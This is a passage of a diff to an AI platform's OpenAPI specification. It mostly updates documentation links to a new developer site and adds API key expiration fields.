+ dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -41527,9 +41577,9 @@ components:
required:
- event
- data
- description: Occurs when a [message](https://platform.openai.com/docs/api-reference/messages/object) moves to an `in_progress` state.
+ description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` state.
x-oaiMeta:
- dataDescription: '`data` is a [message](/docs/api-reference/messages/object)'
+ dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -41542,9 +41592,9 @@ components:
required:
- event
- data
- description: Occurs when parts of a [Message](https://platform.openai.com/docs/api-reference/messages/object) are being streamed.
+ description: Occurs when parts of a [Message](https://developers.openai.com/api/docs/assistants/migration) are being streamed.
x-oaiMeta:
- dataDescription: '`data` is a [message delta](/docs/api-reference/assistants-streaming/message-delta-object)'
+ dataDescription: '`data` is a [message delta](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -41557,9 +41607,9 @@ components:
required:
- event
- data
- description: Occurs when a [message](https://platform.openai.com/docs/api-reference/messages/object) is completed.
+ description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) is completed.
x-oaiMeta:
- dataDescription: '`data` is a [message](/docs/api-reference/messages/object)'
+ dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -41572,9 +41622,9 @@ components:
required:
- event
- data
- description: Occurs when a [message](https://platform.openai.com/docs/api-reference/messages/object) ends before it is completed.
+ description: Occurs when a [message](https://developers.openai.com/api/docs/assistants/migration) ends before it is completed.
x-oaiMeta:
- dataDescription: '`data` is a [message](/docs/api-reference/messages/object)'
+ dataDescription: '`data` is a [message](https://developers.openai.com/api/docs/assistants/migration)'
discriminator:
propertyName: event
Metadata:
@@ -41641,7 +41691,7 @@ components:
- $ref: '#/components/schemas/ModelIdsResponses'
- type: string
- type: 'null'
- description: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models) to browse and compare available models.
+ description: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide range of models with different capabilities, performance characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models) to browse and compare available models.
ModelIdsResponses:
example: gpt-6-astra
anyOf:
@@ -41722,7 +41772,7 @@ components:
description: |
This field is being replaced by `safety_identifier` and `prompt_cache_key`. Use `prompt_cache_key` instead to maintain caching optimizations.
A stable identifier for your end-users.
- Used to boost cache hit rates by better bucketing similar requests and to help OpenAI detect and prevent abuse. [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ Used to boost cache hit rates by better bucketing similar requests and to help OpenAI detect and prevent abuse. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
safety_identifier:
anyOf:
- type: string
@@ -41730,14 +41780,14 @@ components:
example: safety-identifier-1234
description: |
A stable identifier used to help detect users of your application that may be violating OpenAI's usage policies.
- The IDs should be a string that uniquely identifies each user, with a maximum length of 64 characters. We recommend hashing their username or email address, in order to avoid sending us any identifying information. [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ The IDs should be a string that uniquely identifies each user, with a maximum length of 64 characters. We recommend hashing their username or email address, in order to avoid sending us any identifying information. [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
- type: 'null'
prompt_cache_key:
anyOf:
- type: string
example: prompt-cache-key-1234
description: |
- Used by OpenAI to cache responses for similar requests to optimize your cache hit rates. Replaces the `user` field. [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ Used by OpenAI to cache responses for similar requests to optimize your cache hit rates. Replaces the `user` field. [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
- type: 'null'
prompt_cache_retention:
deprecated: true
@@ -41749,7 +41799,7 @@ components:
description: |
Deprecated. Use `prompt_cache_options.ttl` instead.
- The retention policy for the prompt cache. Set to `24h` to enable extended prompt caching, which keeps cached prefixes active for longer, up to a maximum of 24 hours. [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ The retention policy for the prompt cache. Set to `24h` to enable extended prompt caching, which keeps cached prefixes active for longer, up to a maximum of 24 hours. [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two
fields are independent and do not interact.
@@ -41765,7 +41815,7 @@ components:
properties:
model:
description: |
- ID of the model to use. You can use the [List models](https://platform.openai.com/docs/api-reference/models/list) API to see all of your available models, or see our [Model overview](https://platform.openai.com/docs/models) for descriptions of them.
+ ID of the model to use. You can use the [List models](https://developers.openai.com/api/reference/resources/models/methods/list) API to see all of your available models, or see our [Model overview](https://developers.openai.com/api/docs/models) for descriptions of them.
anyOf:
- type: string
- $ref: '#/components/schemas/AssistantSupportedModels'
@@ -41812,7 +41862,7 @@ components:
file_ids:
type: array
description: |
- Overrides the list of [file](https://platform.openai.com/docs/api-reference/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ Overrides the list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
default: []
maxItems: 20
items:
@@ -41823,7 +41873,7 @@ components:
vector_store_ids:
type: array
description: |
- Overrides the [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
+ Overrides the [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this assistant. There can be a maximum of 1 vector store attached to the assistant.
maxItems: 1
items:
type: string
@@ -41890,7 +41940,7 @@ components:
file_ids:
type: array
description: |
- A list of [file](https://platform.openai.com/docs/api-reference/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
+ A list of [file](https://developers.openai.com/api/reference/resources/files) IDs made available to the `code_interpreter` tool. There can be a maximum of 20 files associated with the tool.
default: []
maxItems: 20
items:
@@ -41901,7 +41951,7 @@ components:
vector_store_ids:
type: array
description: |
- The [vector store](https://platform.openai.com/docs/api-reference/vector-stores/object) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
+ The [vector store](https://developers.openai.com/api/reference/resources/vector_stores) attached to this thread. There can be a maximum of 1 vector store attached to the thread.
maxItems: 1
items:
type: string
@@ -42403,7 +42453,7 @@ components:
- $ref: '#/components/schemas/OutputTextContent'
- $ref: '#/components/schemas/RefusalContent'
ParallelToolCalls:
- description: Whether to enable [parallel function calling](https://platform.openai.com/docs/guides/function-calling#configuring-parallel-function-calling) during tool use.
+ description: Whether to enable [parallel function calling](https://developers.openai.com/api/docs/guides/function-calling#parallel-function-calling) during tool use.
type: boolean
default: true
PartialImages:
@@ -42451,7 +42501,7 @@ components:
The content used for a Predicted Output. This is often the
text of a file you are regenerating with minor changes.
- type: array
- description: An array of content parts with a defined type. Supported options differ based on the [model](https://platform.openai.com/docs/models) being used to generate the response. Can contain text inputs.
+ description: An array of content parts with a defined type. Supported options differ based on the [model](https://developers.openai.com/api/docs/models) being used to generate the response. Can contain text inputs.
title: Array of content parts
items:
$ref: '#/components/schemas/ChatCompletionRequestMessageContentPartText'
@@ -42533,6 +42583,12 @@ components:
type: integer
format: unixtime
description: The Unix timestamp (in seconds) of when the API key was created
+ expires_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ - type: 'null'
+ description: The Unix timestamp (in seconds) when the API key expires, or null if it does not expire.
last_used_at:
anyOf:
- type: integer
@@ -42578,6 +42634,7 @@ components:
"redacted_value": "sk-abc...def",
"name": "My API Key",
"created_at": 1711471533,
+ "expires_at": 1714063533,
"last_used_at": 1711471534,
"id": "key_abc",
"owner_project_access": "active",
@@ -42694,13 +42751,13 @@ components:
- type: 'null'
deprecated: true
description: |-
- Create the project with the specified data residency region. Your organization must have access to Data residency functionality in order to use. See [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
+ Create the project with the specified data residency region. Your organization must have access to Data residency functionality in order to use. See [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
Deprecated: use `residency` instead. Do not provide both `geography` and `residency`.
residency:
anyOf:
- $ref: '#/components/schemas/PublicProjectResidency'
- type: 'null'
- description: Create the project with the specified residency configuration. Your organization must have access to the requested residency configuration in order to use it. See [data residency controls](https://platform.openai.com/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
+ description: Create the project with the specified residency configuration. Your organization must have access to the requested residency configuration in order to use it. See [data residency controls](https://developers.openai.com/api/docs/guides/your-data#data-residency-controls) to review the functionality and limitations of setting this field.
external_key_id:
anyOf:
- type: string
@@ -43180,6 +43237,12 @@ components:
created_at:
type: integer
format: unixtime
+ expires_at:
+ anyOf:
+ - type: integer
+ format: unixtime
+ - type: 'null'
+ description: The Unix timestamp (in seconds) when the API key expires, or null if it does not expire.
id:
type: string
required:
@@ -43199,6 +43262,13 @@ components:
- type: boolean
description: Create the service account without default roles or an API key.
- type: 'null'
+ expires_in_seconds:
+ anyOf:
+ - type: integer
+ minimum: 1
+ maximum: 31536000
+ - type: 'null'
+ description: Number of seconds until the initial API key expires. If omitted or null, the key does not expire unless the effective organization or project policy requires an expiration. When a policy sets a maximum lifetime, this value must be provided and must not exceed that limit. A non-null value cannot be used when `create_service_account_only` is true.
required:
- name
ProjectServiceAccountCreateResponse:
@@ -43517,7 +43587,7 @@ components:
- type: object
description: |
Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
required:
- id
properties:
@@ -43894,7 +43964,7 @@ components:
stop generating audio and emit a `output_audio_buffer.cleared` event. This
event should be preceded by a `response.cancel` client event to stop the
generation of the current response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
properties:
event_id:
type: string
@@ -46219,7 +46289,7 @@ components:
- $ref: '#/components/schemas/RealtimeSessionCreateRequestGA'
description: |-
Optional session configuration to apply before the realtime session is
- created. Use the same parameters you would send in a [`create client secret`](https://platform.openai.com/docs/api-reference/realtime-sessions/create-realtime-client-secret)
+ created. Use the same parameters you would send in a [`create client secret`](https://developers.openai.com/api/reference/resources/realtime/subresources/client_secrets/methods/create)
request.
additionalProperties: false
RealtimeCallReferRequest:
@@ -46481,7 +46551,7 @@ components:
stop generating audio and emit a `output_audio_buffer.cleared` event. This
event should be preceded by a `response.cancel` client event to stop the
generation of the current response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
properties:
event_id:
type: string
@@ -47065,7 +47135,7 @@ components:
description: |
Create a session and client secret for the Realtime API. The request can specify
either a realtime or a transcription session configuration.
- [Learn more about the Realtime API](https://platform.openai.com/docs/guides/realtime).
+ [Learn more about the Realtime API](https://developers.openai.com/api/docs/guides/realtime).
properties:
expires_after:
type: object
@@ -48621,7 +48691,7 @@ components:
mode when the user has interrupted (`input_audio_buffer.speech_started`),
or when the client has emitted the `output_audio_buffer.clear` event to manually
cut off the current audio response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
properties:
event_id:
type: string
@@ -48652,7 +48722,7 @@ components:
**WebRTC/SIP Only:** Emitted when the server begins streaming audio to the client. This event is
emitted after an audio content part has been added (`response.content_part.added`)
to the response.
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
properties:
event_id:
type: string
@@ -48683,7 +48753,7 @@ components:
**WebRTC/SIP Only:** Emitted when the output audio buffer has been completely drained on the server,
and no more audio is forthcoming. This event is emitted after the full response
data has been sent to the client (`response.done`).
- [Learn more](https://platform.openai.com/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
+ [Learn more](https://developers.openai.com/api/docs/guides/realtime-conversations#client-and-server-events-for-audio-in-webrtc).
properties:
event_id:
type: string
@@ -50018,7 +50088,7 @@ components:
- allOf:
- $ref: '#/components/schemas/AudioTranscription'
description: |
- Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://platform.openai.com/docs/api-reference/audio/createTranscription) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
+ Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
- type: 'null'
turn_detection:
$ref: '#/components/schemas/RealtimeTurnDetection'
@@ -50418,7 +50488,7 @@ components:
description: The format of the input audio.
transcription:
description: |
- Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://platform.openai.com/docs/api-reference/audio/createTranscription) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
+ Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
$ref: '#/components/schemas/AudioTranscription'
noise_reduction:
type: object
@@ -51070,7 +51140,7 @@ components:
$ref: '#/components/schemas/RealtimeAudioFormats'
transcription:
description: |
- Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://platform.openai.com/docs/api-reference/audio/createTranscription) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
+ Configuration for input audio transcription, defaults to off and can be set to `null` to turn off once on. Input audio transcription is not native to the model, since the model consumes audio directly. Transcription runs asynchronously through [the /audio/transcriptions endpoint](https://developers.openai.com/api/reference/resources/audio/subresources/transcriptions/methods/create) and should be treated as guidance of input audio content rather than precisely what the model heard. The client can optionally set the language and prompt for transcription, these offer additional guidance to the transcription service.
$ref: '#/components/schemas/AudioTranscription'
noise_reduction:
type: object
@@ -52128,7 +52198,7 @@ components:
type: object
description: |
Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
title: Reasoning
properties:
mode:
@@ -52202,7 +52272,7 @@ components:
Reducing reasoning effort can result in faster responses and fewer tokens
used on reasoning in a response. Not all reasoning models support every
value. See the
- [reasoning guide](https://platform.openai.com/docs/guides/reasoning)
+ [reasoning guide](https://developers.openai.com/api/docs/guides/reasoning)
for model-specific support.
- type: 'null'
ReasoningItem:
@@ -52211,7 +52281,7 @@ components:
A description of the chain of thought used by a reasoning model while generating
a response. Be sure to include these items in your `input` to the Responses API
for subsequent turns of a conversation if you are manually
- [managing context](https://platform.openai.com/docs/guides/conversation-state).
+ [managing context](https://developers.openai.com/api/docs/guides/conversation-state).
title: Reasoning
properties:
type:
@@ -52419,7 +52489,7 @@ components:
max_output_tokens:
anyOf:
- description: |
- An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ An upper bound for the number of tokens that can be generated for a response, including visible output tokens and [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
type: integer
- type: 'null'
required:
@@ -53414,7 +53484,7 @@ components:
title: JSON schema
description: |
JSON Schema response format. Used to generate structured JSON responses.
- Learn more about [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs).
+ Learn more about [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs).
properties:
type:
type: string
@@ -53449,7 +53519,7 @@ components:
If set to true, the model will always follow the exact schema defined
in the `schema` field. Only a subset of JSON Schema is supported when
`strict` is `true`. To learn more, read the [Structured Outputs
- guide](https://platform.openai.com/docs/guides/structured-outputs).
+ guide](https://developers.openai.com/api/docs/guides/structured-outputs).
- type: 'null'
required:
- name
@@ -53482,7 +53552,7 @@ components:
title: Text grammar
description: |
A custom grammar for the model to follow when generating text.
- Learn more in the [custom grammars guide](https://platform.openai.com/docs/guides/custom-grammars).
+ Learn more in the [custom grammars guide](https://developers.openai.com/api/docs/guides/function-calling#context-free-grammars).
properties:
type:
type: string
@@ -53501,7 +53571,7 @@ components:
title: Python grammar
description: |
Configure the model to generate valid Python code. See the
- [custom grammars guide](https://platform.openai.com/docs/guides/custom-grammars) for more details.
+ [custom grammars guide](https://developers.openai.com/api/docs/guides/function-calling#context-free-grammars) for more details.
properties:
type:
type: string
@@ -54275,7 +54345,7 @@ components:
`["text"]`
The `gpt-4o-audio-preview` model can also be used to
- [generate audio](https://platform.openai.com/docs/guides/audio). To request that this model generate
+ [generate audio](https://developers.openai.com/api/docs/guides/audio). To request that this model generate
both text and audio responses, you can use:
`["text", "audio"]`
@@ -54468,13 +54538,13 @@ components:
description: |
The unique ID of the previous response to the model. Use this to
create multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state). Cannot be used in conjunction with `conversation`.
- type: 'null'
model:
description: |
Model ID used to generate the response, like `gpt-6-astra`. OpenAI
offers a wide range of models with different capabilities, performance
- characteristics, and price points. Refer to the [model guide](https://platform.openai.com/docs/models)
+ characteristics, and price points. Refer to the [model guide](https://developers.openai.com/api/docs/models)
to browse and compare available models.
$ref: '#/components/schemas/ModelIdsResponses'
background:
@@ -54482,7 +54552,7 @@ components:
- type: boolean
description: |
Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
default: false
- type: 'null'
max_tool_calls:
@@ -55686,8 +55756,8 @@ components:
description: |
Configuration options for a text response from the model. Can be plain
text or structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
properties:
format:
$ref: '#/components/schemas/TextResponseFormatConfiguration'
@@ -55708,7 +55778,9 @@ components:
properties:
cached_tokens:
type: integer
- description: "The number of tokens that were retrieved from the cache. \n[More on prompt caching](https://platform.openai.com/docs/guides/prompt-caching).\n"
+ description: |
+ The number of tokens that were retrieved from the cache.
+ [More on prompt caching](https://developers.openai.com/api/docs/guides/prompt-caching).
cache_write_tokens:
type: integer
description: The number of input tokens that were written to the cache.
@@ -56909,10 +56981,16 @@ components:
propertyName: type
item:
type: object
- description: "The dataset item provided to the grader. This will be used to populate \nthe `item` namespace. See [the guide](https://platform.openai.com/docs/guides/graders) for more details. \n"
+ description: |
+ The dataset item provided to the grader. This will be used to populate
+ the `item` namespace. See [the guide](https://developers.openai.com/api/docs/guides/graders) for more details.
model_sample:
type: string
- description: "The model sample to be evaluated. This value will be used to populate \nthe `sample` namespace. See [the guide](https://platform.openai.com/docs/guides/graders) for more details.\nThe `output_json` variable will be populated if the model sample is a \nvalid JSON string.\n \n"
+ description: |
+ The model sample to be evaluated. This value will be used to populate
+ the `sample` namespace. See [the guide](https://developers.openai.com/api/docs/guides/graders) for more details.
+ The `output_json` variable will be populated if the model sample is a
+ valid JSON string.
required:
- grader
- model_sample
@@ -57015,7 +57093,7 @@ components:
RunObject:
type: object
title: A run on a thread
- description: Represents an execution run on a [thread](https://platform.openai.com/docs/api-reference/threads).
+ description: Represents an execution run on a [thread](https://developers.openai.com/api/docs/assistants/migration).
properties:
id:
description: The identifier, which can be referenced in API endpoints.
@@ -57031,10 +57109,10 @@ components:
type: integer
format: unixtime
thread_id:
- description: The ID of the [thread](https://platform.openai.com/docs/api-reference/threads) that was executed on as a part of this run.
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) that was executed on as a part of this run.
type: string
assistant_id:
- description: The ID of the [assistant](https://platform.openai.com/docs/api-reference/assistants) used for execution of this run.
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for execution of this run.
type: string
status:
$ref: '#/components/schemas/RunStatus'
@@ -57119,13 +57197,13 @@ components:
- max_completion_tokens
- max_prompt_tokens
model:
- description: The model that the [assistant](https://platform.openai.com/docs/api-reference/assistants) used for this run.
+ description: The model that the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for this run.
type: string
instructions:
- description: The instructions that the [assistant](https://platform.openai.com/docs/api-reference/assistants) used for this run.
+ description: The instructions that the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for this run.
type: string
tools:
- description: The list of tools that the [assistant](https://platform.openai.com/docs/api-reference/assistants) used for this run.
+ description: The list of tools that the [assistant](https://developers.openai.com/api/docs/assistants/migration) used for this run.
default: []
type: array
maxItems: 20
@@ -57367,7 +57445,7 @@ components:
type: object
properties:
file_id:
- description: The [file](https://platform.openai.com/docs/api-reference/files) ID of the image.
+ description: The [file](https://developers.openai.com/api/reference/resources/files) ID of the image.
type: string
required:
- index
@@ -57445,7 +57523,7 @@ components:
output:
anyOf:
- type: string
- description: The output of the function. This will be `null` if the outputs have not been [submitted](https://platform.openai.com/docs/api-reference/runs/submitToolOutputs) yet.
+ description: The output of the function. This will be `null` if the outputs have not been [submitted](https://developers.openai.com/api/docs/assistants/migration) yet.
- type: 'null'
required:
- index
@@ -57543,7 +57621,7 @@ components:
type: object
properties:
file_id:
- description: The [file](https://platform.openai.com/docs/api-reference/files) ID of the image.
+ description: The [file](https://developers.openai.com/api/reference/resources/files) ID of the image.
type: string
required:
- file_id
@@ -57683,7 +57761,7 @@ components:
output:
anyOf:
- type: string
- description: The output of the function. This will be `null` if the outputs have not been [submitted](https://platform.openai.com/docs/api-reference/runs/submitToolOutputs) yet.
+ description: The output of the function. This will be `null` if the outputs have not been [submitted](https://developers.openai.com/api/docs/assistants/migration) yet.
- type: 'null'
required:
- name
@@ -57733,13 +57811,13 @@ components:
type: integer
format: unixtime
assistant_id:
- description: The ID of the [assistant](https://platform.openai.com/docs/api-reference/assistants) associated with the run step.
+ description: The ID of the [assistant](https://developers.openai.com/api/docs/assistants/migration) associated with the run step.
type: string
thread_id:
- description: The ID of the [thread](https://platform.openai.com/docs/api-reference/threads) that was run.
+ description: The ID of the [thread](https://developers.openai.com/api/docs/assistants/migration) that was run.
type: string
run_id:
- description: The ID of the [run](https://platform.openai.com/docs/api-reference/runs) that this run step is a part of.
+ description: The ID of the [run](https://developers.openai.com/api/docs/assistants/migration) that this run step is a part of.
type: string
type:
description: The type of run step, which can be either `message_creation` or `tool_calls`.
@@ -57871,9 +57949,9 @@ components:
required:
- event
- data
- description: Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) is created.
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is created.
x-oaiMeta:
- dataDescription: '`data` is a [run step](/docs/api-reference/run-steps/step-object)'
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -57886,9 +57964,9 @@ components:
required:
- event
- data
- description: Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) moves to an `in_progress` state.
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` state.
x-oaiMeta:
- dataDescription: '`data` is a [run step](/docs/api-reference/run-steps/step-object)'
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -57901,9 +57979,9 @@ components:
required:
- event
- data
- description: Occurs when parts of a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) are being streamed.
+ description: Occurs when parts of a [run step](https://developers.openai.com/api/docs/assistants/migration) are being streamed.
x-oaiMeta:
- dataDescription: '`data` is a [run step delta](/docs/api-reference/assistants-streaming/run-step-delta-object)'
+ dataDescription: '`data` is a [run step delta](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -57916,9 +57994,9 @@ components:
required:
- event
- data
- description: Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) is completed.
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is completed.
x-oaiMeta:
- dataDescription: '`data` is a [run step](/docs/api-reference/run-steps/step-object)'
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -57931,9 +58009,9 @@ components:
required:
- event
- data
- description: Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) fails.
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) fails.
x-oaiMeta:
- dataDescription: '`data` is a [run step](/docs/api-reference/run-steps/step-object)'
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -57946,9 +58024,9 @@ components:
required:
- event
- data
- description: Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) is cancelled.
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) is cancelled.
x-oaiMeta:
- dataDescription: '`data` is a [run step](/docs/api-reference/run-steps/step-object)'
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -57961,9 +58039,9 @@ components:
required:
- event
- data
- description: Occurs when a [run step](https://platform.openai.com/docs/api-reference/run-steps/step-object) expires.
+ description: Occurs when a [run step](https://developers.openai.com/api/docs/assistants/migration) expires.
x-oaiMeta:
- dataDescription: '`data` is a [run step](/docs/api-reference/run-steps/step-object)'
+ dataDescription: '`data` is a [run step](https://developers.openai.com/api/docs/assistants/migration)'
discriminator:
propertyName: event
RunStreamEvent:
@@ -57980,9 +58058,9 @@ components:
required:
- event
- data
- description: Occurs when a new [run](https://platform.openai.com/docs/api-reference/runs/object) is created.
+ description: Occurs when a new [run](https://developers.openai.com/api/docs/assistants/migration) is created.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -57995,9 +58073,9 @@ components:
required:
- event
- data
- description: Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) moves to a `queued` status.
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `queued` status.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -58010,9 +58088,9 @@ components:
required:
- event
- data
- description: Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) moves to an `in_progress` status.
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to an `in_progress` status.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -58025,9 +58103,9 @@ components:
required:
- event
- data
- description: Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) moves to a `requires_action` status.
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) moves to a `requires_action` status.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -58040,9 +58118,9 @@ components:
required:
- event
- data
- description: Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) is completed.
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) is completed.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -58055,9 +58133,9 @@ components:
required:
- event
- data
- description: Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) ends with status `incomplete`.
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) ends with status `incomplete`.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
+ dataDescription: '`data` is a [run](https://developers.openai.com/api/docs/assistants/migration)'
- type: object
properties:
event:
@@ -58070,9 +58148,9 @@ components:
required:
- event
- data
- description: Occurs when a [run](https://platform.openai.com/docs/api-reference/runs/object) fails.
+ description: Occurs when a [run](https://developers.openai.com/api/docs/assistants/migration) fails.
x-oaiMeta:
- dataDescription: '`data` is a [run](/docs/api-reference/runs/object)'
